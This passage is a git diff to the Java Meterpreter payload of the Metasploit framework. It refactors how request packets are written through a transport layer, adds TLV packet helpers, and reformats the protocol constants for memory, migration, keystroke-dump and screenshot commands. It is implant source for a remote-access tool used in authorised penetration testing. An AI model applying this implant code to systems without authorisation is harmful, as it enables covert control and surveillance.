Return the currently buffered error stream content, or null if no buffering is active. */ public byte[] getErrorBuffer() { - if (errBuffer == null) + if (errBuffer == null) { return null; + } synchronized (errBuffer) { byte[] result = errBuffer.toByteArray(); errBuffer.reset(); @@ -337,7 +305,7 @@ public class Meterpreter { requestID[i] = (char) ('A' + rnd.nextInt(26)); } tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID)); - writeTLV(PACKET_TYPE_REQUEST, tlv); + this.transports.current().writePacket(tlv, TLVPacket.PACKET_TYPE_REQUEST); } /** diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java index 945e4d59..d1f1dbb6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java @@ -20,6 +20,9 @@ import java.util.Map; public class TLVPacket { // constants + public static final int PACKET_TYPE_REQUEST = 0; + public static final int PACKET_TYPE_RESPONSE = 1; + public static final int TLV_META_TYPE_NONE = 0; public static final int TLV_META_TYPE_STRING = (1 << 16); @@ -178,8 +181,9 @@ public class TLVPacket { */ public Object getValue(int type) { ArrayList indices = (ArrayList) valueMap.get(new Integer(type)); - if (indices == null) + if (indices == null) { throw new IllegalArgumentException("Cannot find type " + type); + } // the indices variable is an ArrayList so by default return the first to // preserve existing behaviour. return valueList.get(((Integer) indices.get(0)).intValue()); @@ -191,8 +195,9 @@ public class TLVPacket { public List getValues(int type) { ArrayList values = new ArrayList(); ArrayList indices = (ArrayList) valueMap.get(new Integer(type)); - if (indices == null) + if (indices == null) { throw new IllegalArgumentException("Cannot find type " + type); + } for (int i = 0; i < indices.size(); ++i) { values.add(valueList.get(((Integer) indices.get(i)).intValue())); @@ -205,8 +210,9 @@ public class TLVPacket { */ public Object getValue(int type, Object defaultValue) { ArrayList indices = (ArrayList) valueMap.get(new Integer(type)); - if (indices == null) + if (indices == null) { return defaultValue; + } // the indices variable is an ArrayList so by default return the first to // preserve existing behaviour. return valueList.get(((Integer) indices.get(0)).intValue()); @@ -254,6 +260,20 @@ public class TLVPacket { return (byte[]) getValue(type); } + /** + * Get the value associated to a type as a byte array. + */ + public byte[] getRawValue(int type, byte[] defaultValue) { + return (byte[]) getValue(type, defaultValue); + } + + public TLVPacket createResponse() throws IOException { + TLVPacket response = new TLVPacket(); + response.add(TLVType.TLV_TYPE_METHOD, this.getStringValue(TLVType.TLV_TYPE_METHOD)); + response.add(TLVType.TLV_TYPE_REQUEST_ID, this.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); + return response; + } + /** * Write all the values to an output stream. */ diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java index b0283a5f..14516e73 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java @@ -10,190 +10,190 @@ package com.metasploit.meterpreter; public interface TLVType { // TLV Specific Types - public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0; - public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1; + public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0; + public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1; public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2; - public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3; - public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4; + public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3; + public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4; public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10; - public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11; - public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12; + public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11; + public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12; public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25; - public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26; - public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27; + public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26; + public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27; - public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50; - public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51; - public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52; - public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53; - public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54; - public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55; + public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50; + public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51; + public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52; + public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53; + public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54; + public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55; public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70; public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71; - public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72; + public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72; - public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300; + public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300; public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301; public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400; - public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401; - public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402; - public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403; + public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401; + public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402; + public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403; - public static final int TLV_TYPE_TRANS_TYPE = TLVPacket.TLV_META_TYPE_UINT | 430; - public static final int TLV_TYPE_TRANS_URL = TLVPacket.TLV_META_TYPE_STRING | 431; - public static final int TLV_TYPE_TRANS_UA = TLVPacket.TLV_META_TYPE_STRING | 432; - public static final int TLV_TYPE_TRANS_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 433; - public static final int TLV_TYPE_TRANS_SESSION_EXP = TLVPacket.TLV_META_TYPE_UINT | 434; - public static final int TLV_TYPE_TRANS_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 435; - public static final int TLV_TYPE_TRANS_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 436; - public static final int TLV_TYPE_TRANS_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 437; - public static final int TLV_TYPE_TRANS_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 438; - public static final int TLV_TYPE_TRANS_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 439; - public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440; - public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 441; + public static final int TLV_TYPE_TRANS_TYPE = TLVPacket.TLV_META_TYPE_UINT | 430; + public static final int TLV_TYPE_TRANS_URL = TLVPacket.TLV_META_TYPE_STRING | 431; + public static final int TLV_TYPE_TRANS_UA = TLVPacket.TLV_META_TYPE_STRING | 432; + public static final int TLV_TYPE_TRANS_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 433; + public static final int TLV_TYPE_TRANS_SESSION_EXP = TLVPacket.TLV_META_TYPE_UINT | 434; + public static final int TLV_TYPE_TRANS_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 435; + public static final int TLV_TYPE_TRANS_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 436; + public static final int TLV_TYPE_TRANS_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 437; + public static final int TLV_TYPE_TRANS_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 438; + public static final int TLV_TYPE_TRANS_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 439; + public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440; + public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 441; public static final int TLV_TYPE_MACHINE_ID = TLVPacket.TLV_META_TYPE_STRING | 460; - public static final int TLV_TYPE_UUID = TLVPacket.TLV_META_TYPE_RAW | 461; + public static final int TLV_TYPE_UUID = TLVPacket.TLV_META_TYPE_RAW | 461; public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500; public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501; // General - public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600; - public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601; + public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600; + public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601; public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630; - public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631; + public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631; // Fs - public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; - public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201; - public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202; - public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203; - public static final int TLV_TYPE_FILE_HASH = TLVPacket.TLV_META_TYPE_RAW | 1206; - public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220; + public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; + public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201; + public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202; + public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203; + public static final int TLV_TYPE_FILE_HASH = TLVPacket.TLV_META_TYPE_RAW | 1206; + public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220; // Net - public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400; - public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401; - public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402; - public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404; + public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400; + public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401; + public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402; + public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404; - public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420; - public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421; - public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422; + public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420; + public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421; + public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422; public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423; - public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424; + public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424; - public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430; - public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431; - public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432; - public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433; - public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434; + public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430; + public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431; + public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432; + public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433; + public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434; - public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440; + public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440; public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441; public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442; // Socket - public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500; - public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501; - public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502; - public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503; - public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504; + public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500; + public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501; + public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502; + public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503; + public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504; public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530; // Registry - public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000; - public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY; - public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001; - public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002; - public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003; + public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000; + public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY; + public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001; + public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002; + public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003; public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010; - public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011; - public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012; + public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011; + public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012; // Config public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040; - public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041; - public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042; + public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041; + public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042; public static final int TLV_TYPE_ENV_VARIABLE = TLVPacket.TLV_META_TYPE_STRING | 1100; - public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101; - public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102; + public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101; + public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102; // Process - public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000; - public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001; - public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002; - public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003; - public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004; - public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005; - public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006; - public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007; - public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008; - public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300; - public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301; - public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302; - public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303; - public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304; - public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305; + public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000; + public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001; + public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002; + public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003; + public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004; + public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005; + public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006; + public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007; + public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008; + public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300; + public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301; + public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302; + public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303; + public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304; + public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305; - public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400; - public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401; - public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402; - public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403; - public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404; - public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405; - public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406; + public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400; + public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401; + public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402; + public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403; + public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404; + public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405; + public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406; - public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500; - public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502; - public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510; - public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511; + public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500; + public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502; + public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510; + public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511; public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_QWORD | 2512; - public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513; + public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513; - public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540; - public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541; - public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542; - public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550; + public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540; + public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541; + public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542; + public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550; // Ui - public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000; + public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000; public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001; - public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002; + public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002; // Event Log public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000; - public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001; - public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002; + public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001; + public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002; - public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003; + public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003; public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004; - public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006; - public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007; - public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008; - public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009; - public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010; - public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011; - public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012; - public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013; + public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006; + public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007; + public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008; + public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009; + public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010; + public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011; + public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012; + public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013; // Power - public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100; + public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100; public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101; // Screenshot - public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002; - public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008; - public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009; + public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002; + public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008; + public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009; public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010; - public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011; + public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011; public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java 